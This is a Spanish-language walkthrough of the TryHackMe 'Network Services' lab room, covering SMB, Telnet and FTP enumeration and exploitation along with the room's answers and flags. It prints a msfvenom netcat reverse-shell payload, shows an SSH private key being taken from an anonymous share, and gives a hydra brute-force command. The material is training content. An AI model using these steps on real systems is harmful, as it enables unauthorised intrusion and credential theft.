# Walkthrough Tryhackme Free Roadmap

## Network Services

**Escrito por:**
Ian E. Acosta Sian
Pentester Jr.

# Indice

# 1. Introducción

En esta sala se explorará las vulnerabilidades y configuraciones erróneas más comunes de los servicios red como SMB, Telnet, FTP, etc.

# 2. Understanding SMB

## 2.1. ¿Que es SMB?

SMB Server Message Block Protocol es un protocolo de comunicación cliente-servidor utilizado para compartir el acceso a archivos, impresoras, puertos serie y otros recursos en una red.
Los servidores fabrican sistemas de archivos y otros recursos (impresoras, impresoras tuberías con nombre, API) disponibles para los clientes en la red. Cliente las computadoras pueden tener sus propios discos duros, pero también quieren acceso a los sistemas de archivos compartidos y las impresoras en los servidores.
El SMB el protocolo se conoce como protocolo de solicitud de respuesta, lo que significa que transmite múltiples mensajes entre el cliente y el servidor a establecer una conexión. Los clientes se conectan a servidores utilizando TCP/IP (en realidad NetBIOS sobre TCP/IP como se especifica en RFC1001 y RFC1002), NetBEUI o IPX/SPX.

## 2.2. ¿Cómo funciona SMB?

Una vez que han establecido una conexión, los clientes pueden enviar comandos (SMB) al servidor que les permiten acceder a los recursos compartidos, abra archivos, lea y escriba archivos, y generalmente haga todo el tipo de las cosas que desea hacer con un sistema de archivos. Sin embargo, en el caso de SMBéstas cosas se hacen a través de la red.

## 2.3. ¿En donde corre SMB?

Los sistemas operativos Microsoft Windows desde Windows 95 han incluido cliente y servidor SMB soporte de protocolo. Samba, un servidor de código abierto que admite el SMB protocol, fue lanzado para sistemas Unix.

## 2.4. Respuestas

1. What does SMB stand for?
   **Respuesta**: Server Message Block
2. What type of protocol is SMB?
   **Respuesta**: response-request
3. What protocol suite do clients use to connect to the server?
   **Respuesta**: TCP/IP
4. What systems does Samba run on?
   **Respuesta**: Unix

# 3. Enumerating SMB

Para enumerar los puertos de la maquina objetivo se usa la herramienta **NMAP** usando el comando **sudo nmap [ip maquina objetivo]** esto nos mostrará todos los puertos y servicios que tiene esta maquina. Una vez detectado el servicio **SMB** enumeraremos el servicio con la herramienta **enum4linux [opción] [ip maquina objetivo]** teniendo en cuenta las siguientes opciones:

- **-U**: lista de usuarios
- **-M**: lista de maquinas
- **-N**: dumpea lista de nombre
- **-S**: sharelist
- **-P**: Información de politicas de contraseñas
- **-G**: lista de grupos y miembros
- **-a**: todo lo anterior

## 3.1. Respuestas

1. Conduct an nmap scan of your choosing, How many ports are open?
   **Respuesta**: 3
2. What ports is SMB running on? Provide the ports in ascending order.
   **Respuesta**: 139/445
3. Let's get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?
   **Respuesta**: WORKGROUP
4. What comes up as the name of the machine?
   **Respuesta**: POLOSMB
5. What operating system version is running?
   **Respuesta**: 6.1
6. What share sticks out as something we might want to investigate?
   **Respuesta**: profiles

# 4. Exploiting SMB

Si bien existen vulnerabilidades como CVE-2017-7494 que permiten la ejecución remota de código mediante SMB, es mas común que los atacantes aprovechen errores de configuración en los sistemas.
Una de estas fallas comunes es el acceso anónimo a compraticiones SMB, lo que puede permitir obtener información sensible y eventualmente acceso a una shell.

## 4.1. Metodo de explotación

1. Ubicar la compartición SMB.
2. Nombre de una compartición interesante.

## 4.2. Uso de SMBClient

Para acceder a una compartción SMB de manera remota, se necesita un cliente SMB. Es parte de la suit de herramientas de Samba y esta preintalada en Kali Linux, aunque también se puede instalar manualmente. El comando para utilizar esta herramienta es **smbclient // [ip]/[share]**.
Opciones importantes:

- **-U [usuario]**: especificar usuario
- **-p [puerto]**: especificar puerto

**ejemplo:** smbclient //10.10.10.2/secret -U suit -p 445

## 4.3. Resolución del desafio

Para resolver esta parte del desafio una vez que hayamos ingresado se debe listar todos los directorios ocultos con **ls -a** y veremos el directorio **.ssh**, buscaremos ingresar para encontrar información con **cd .ssh** y listaremos con **ls**.
Dentro encontraremos los archivos **id_rsa.pub** que contienen el username, hay que descargar el archivo **id_rsa** que contiene la clave por defecto.
Comandos claves utilizando smbcliente:

- **more id_rsa.pub**: mostrara el contenido, ahi esta el username **cactus**, salimos con **q**.
- **more id_rsa**: muestra el contenido de la clave cifrada.
- **get id_rsa**: descarga el archivo id_rsa en el directorio de nuestra sistema en el que estemos en ese momento.
- **exit**: finalizamos la conexión del smbclient

Ahora cambiamos los permisos del id_rsa con **sudo chmod 600** que permite que solo nosotros podamos leerlo y modificarlo.
Logueamos via **ssh** usando **sudo ssh -i id_rsa cactus@[ip]**. Una vez dentro listamos con **ls** y contraremos el archivo **smb.txt**, abrimos con **cat smb.txt** y tenemos la flag.

## 4.4. Respuestas

1. What would be the correct syntax to access an SMB share called 'secret' as user 'suit' on a machine with the IP 10.10.10.2 on the default port?
   **Respuesta**: smbclient //10.10.10.2/secret -U suit -p 445
2. Great! Now you've got a hang of the syntax, let's have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.
   **Respuesta**: No answer needed
3. Does the share allow anonymous access? Y/N?
   **Respuesta**: Y
4. Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?
   **Respuesta**: John Cactus
5. What service has been configured to allow him to work from home?
   **Respuesta**: ssh
6. Okay! Now we know this, what directory on the share should we look in?
   **Respuesta**: .ssh
7. This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?
   **Respuesta**: id_rsa
8. What is the smb.txt flag?
   **Respuesta**: THM{smb_is_fun_eh?}

# 5. Understanding Telnet

Es un protocolo de aplicación que permite a un usuario conectarse y ejecutar comandos en una maquina remota mediante un cliente telnet que se comunica con un servidor telnet.
Cuando se establece la conexión, el cliente se convierte en una terminal virtual, permitiendo la interacción con el sistema remoto.

## 5.1. ¿Por que fue reemplazado?

Telnet no cifra la comunicación y no tienen mecanismos de seguridad, lo que lo hace vulnerable a ataques. Debido a esto, ha sido reemplazado por ssh en la mayoría de los sistemas modernos.

## 5.2. ¿Como funciona?

Para conectarse a un servidor telnet, se utiliza el siguiente comando **telnet [ip] [puerto]**.

## 5.3. Respuestas

1. Is Telnet a client-server protocol (Y/N)?
   **Respuesta**: Y
2. What has slowly replaced Telnet?
   **Respuesta**: SSH
3. How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?
   **Respuesta**: telnet 10.10.10.3 23
4. The lack of what, means that all Telnet communication is in plaintext?
   **Respuesta**: encryption

# 6. Enumerating Telnet

Para enumerar telnet usaremos la herramienta **nmap -a [ip maquina objetivo]** esto nos mostrara información relevante del servicio telnet de esta maquina.

## 6.1. Respuestas

1. How many ports are open on the target machine?
   **Respuesta**: 1
2. What port is this?
   **Respuesta**: 8012
3. This port is unassigned, but still lists the protocol it's using, what protocol is this?
   **Respuesta**: tcp
4. Now re-run the nmap scan, without the -p- tag, how many ports show up as open?
   **Respuesta:** 0
5. Here, we see that by assigning telnet to a non-standard port, it is not part of the common ports list, or top 1000 ports, that nmap scans. It's important to try every angle when enumerating, as the information you gather here will inform your exploitation stage.
   **Respuesta:** No answer needed
6. Based on the title returned to us, what do we think this port could be used for?
   **Respuesta:** a backdoor
7. Who could it belong to? Gathering possible usernames is an important step in enumeration.
   **Respuesta:** Skidy

8. Always keep a note of information you find during your enumeration stage, so you can refer back to it when you move on to try exploits.
   **Respuesta:** no answer needed

# 7. Exploiting Telnet

1. Vulnerabilidades de telnet
   - Falta de cifrado
   - Deficientes controles de acceso
   - Existencia de CVE (Common Vulnerabilities and Explosures) que pueden ser explotadas
2. Información recopilada en la enumeración
   - Hay un servicio telnet oculto en la maquina objetivo
   - El servicio esta marcado como 'Backdoor'
   - Se ha identificado el usuario 'Skidy'
3. Conectarse al servicio telnet
   - **telnet [ip de la maquina objetivo] [puerto]**
4. Una vez dentro ejecutamos .RUN ls para listar el contenido, en este caso no se mostrara nada. Para eso vamos a comprobar la conexión mandando un ICMP.
   - Ponemos en escucha **tcpdump**: tcpdump [ip] proto \\icmp -i tun0
   - En la terminal donde se esta conectado por telnet a la maquina objetivo escribimos .RUN ping [ip tun0] -c 1 para que solo envie una sola solicitud
   - Con esto verificamos que la conexión esta bien y se ejecutan los comandos con .RUN
5. Creamos un payload utilizando **msfvenom** para hacer una reverse shell con **msfvenom -p cmd/unix/reverse_netcat lhost=[ip tun 0] lport=[puerto] R**.
   Esto nos dara el siguiente output **mkfifo /tmp/sikm; nc [ip] [puerto] 0</tmp/sikm /bin/sh >/tmp/sikm 2>& 1; rm /tmp/sikm**.
6. Ponemos a la escucha a netcat con **nc -lvp [puerto que pusimos en el payload]**, copiamos y pegamos el output anterior en la terminal conectada por telnet de modo que quede .RUN [payload]
7. Ya estamos dentro de la maquina explotando Telnet, ahora listamos con ls y encontramos un archivo llamado flag.txt, lo leemos con cat y tenemos el flag.

## 7.1. Respuestas

1. Okay, let's try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.
   **Respuesta**: No answer needed
2. Great! It's an open telnet connection! What welcome message do we receive?
   **Respuesta**: SKIDY'S BACKDOOR.
3. Let's try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)
   **Respuesta**: N
4. Hmm... that's strange. Let's check to see if what we're typing is being executed as a system command.
   **Respusta**: No answer needed

5. This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.
   **Respuesta**: No answer needed
6. Now, use the command "ping [local THM ip] -c 1"through the telnet session to see if we're able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)
   **Respuesta**: Y
7. Great! This means that we are able to execute system commands AND that we are able to reach our local machine. Now let's have some fun!
   **Respuesta**: No answer needed
8. What word does the generated payload start with?
   **Respuesta**: mkfifo
9. What would the command look like for the listening port we selected in our payload?
   **Respuesta**: nc -lvnp 4444
10. Great! Now that's running, we need to copy and paste our msfvenom payload into the telnet session and run it as a command. Hopefully- this will give us a shell on the target machine!
    **Respuesta**: THM{y0u_g0t_th3_t3ln3t_fl4g}

# 8. Understanding FTP

### ¿Que es FTP?

El Protocolo de Transferencia de Archivos o File Transfer Protocol permite la transferencia remota de un archivo en una red mediante un modelo cliente-servidor.

### Funcionamiento de FTP

FTP opera en 2 canales:

- Canal de comandos: envía ordenes y recibe respuestas.
- Canal de datos: transfiere archivos.

El cliente inicia la conexión, el servidor valida las credenciales y si son correctas se abre la sesión para ejecutar comandos.

### Modo de conexión

1. Modo activo: el cliente abre un puerto y escucha, mientras que el servidor se conecta activamente.
2. Modo pasivo: el servidor abre un puerto y escucha, permitiendo que el cliente se conecte a él.

## 8.1. Respuestas

1. What communications model does FTP use?
   **Respuesta**: client-server
2. What's the standard FTP port?
   **Respuesta**: 21
3. How many modes of FTP connection are there?
   **Respuesta**: 2

# 9. Enumerating FTP

La enumeración es clave al atacar servicios de red. Se recomienda usar herramientas como NMAP para realizar un escaneo de puertos y obtener información del sistema objetivo.

## 9.1. Método de ataque

El objetivo es explotar un inicio de sesión FTP anonimo (anonymous) para acceder a archivos que puedan contener información valiosa y potencialmente permitir la obtención de una shell en el sistema. Esta es una vulnerabilidad común en implementaciones descuidadas de servidores FTP.

## 9.2. Uso de un cliente FTP

Para conectarse al servidor FTP es necesario un cliente FTP en nuestro sistema. Para comprobarlo ejecutamos **ftp** en una terminal, si aparece el prompt: **ftp>** quiere decir que el cliente esta disponible.

Una vez escaneado los puertos y hayamos encontrado el servicio FTP vamos a intentar logearnos anónimamente ejecutanto el comando **ftp [ip maquina objetivo]**. Esto iniciara el proceso de autenticación y cuando nos solicite el usuario ingresamos **anonymous** y dejamos el password en blanco.
Una vez dentro listamos con ls y vemos un archivo llamado **PUBLIC_NOTICE.txt**, lo descargamos usando **get [nombre del archivo]** y salimos con el comando **exit**. Abrimos el archivo usando cat y vemos información útil como un nombre de usuario 'Mike'.

## 9.3. Respuestas

1. How many ports are open on the target machine?
   **Respuesta:** 1
2. What port is ftp running on?
   **Respuesta:** 21
3. What variant of FTP is running on it?
   **Respuesta:** vsftpd
4. What is the name of the file in the anonymous FTP directory?
   **respuesta:** PUBLIC_NOTICE.txt
5. What do we think a possible username could be?
   **Respuesta:** mike
6. Great! Now we've got details about the FTP server and, crucially, a possible username. Let's see what we can do with that...
   **Respuesta:** No answer needed

# 10. Exploiting FTP

Al igual que con telnet, FTP no cifra sus canales de comandos ni de datos, lo que permite que cualquier información enviada (incluyendo credenciales) sea interceptada mediante ataques MITM. Una técnica común es el ARP Poisoning, que engaña a la victima para que envíe datos sensibles al atacante en lugar del destino legitimo.

## 10.1. Contraseñas debiles o por defecto

Si un sevidor FTP tiene configuraciones débiles, es posible realizar un ataque de fuerza bruta para obtener acceso.

### 10.1.1. Uso de Hydra

Es una herramienta para romper contraseñas en múltiples protocolos, incluidos FTP. Un ejemplo de una ejecución de hydra es: **hydra -t 4 -l dale -P /usr/share/wordlist/rockyou.txt -vV 10.10.10.6 ftp**

- hydra → ejecuta la herramienta
- -t 4 → usa 4 conexiones paralelas (se puede cambiar)
- -l dale → usuario objetivo en este caso se llama dale
- -P [dirección del diccionario] → diccionario de contraseñar
- -vV → verbocidad o modo detallado (muestra intentos realizados)
- 10.10.10.6 → ip del servidor FTP
- ftp → protocolo a atacar

Una vez que sabemos como usar la herramienta **hydra** la usamos con el usuario que encontramos y el diccionario **rockyou.txt** para realizar un ataque de fuerza bruta sobre el FTP utilizando el usuario mike. Como resultado de este ataque nos da que la contraseña de mike es **password**. Ahora procedemos a logearnos al servidor ftp utilizando las credenciales encontradas.
Una vez dentro listamos con ls y vemos que posee un archivo llamado **ftp.txt**, lo descargamos con **get [nombre del archivo]** y salimos typeando **exit**. Abrimos el archivo utilizando cat y tenemos el flag.

## 10.2. Respuestas

1. What is the password for the user "mike¿
   **Respuesta:** password
2. Bingo! Now, let's connect to the FTP server as this user using 'ftp [IP]' and entering the credentials when prompted
   **Respuesta:** No answer needed
3. What is ftp.txt?
   **Respuesta:** THM{y0u_g0t_th3_ftp_fl4g}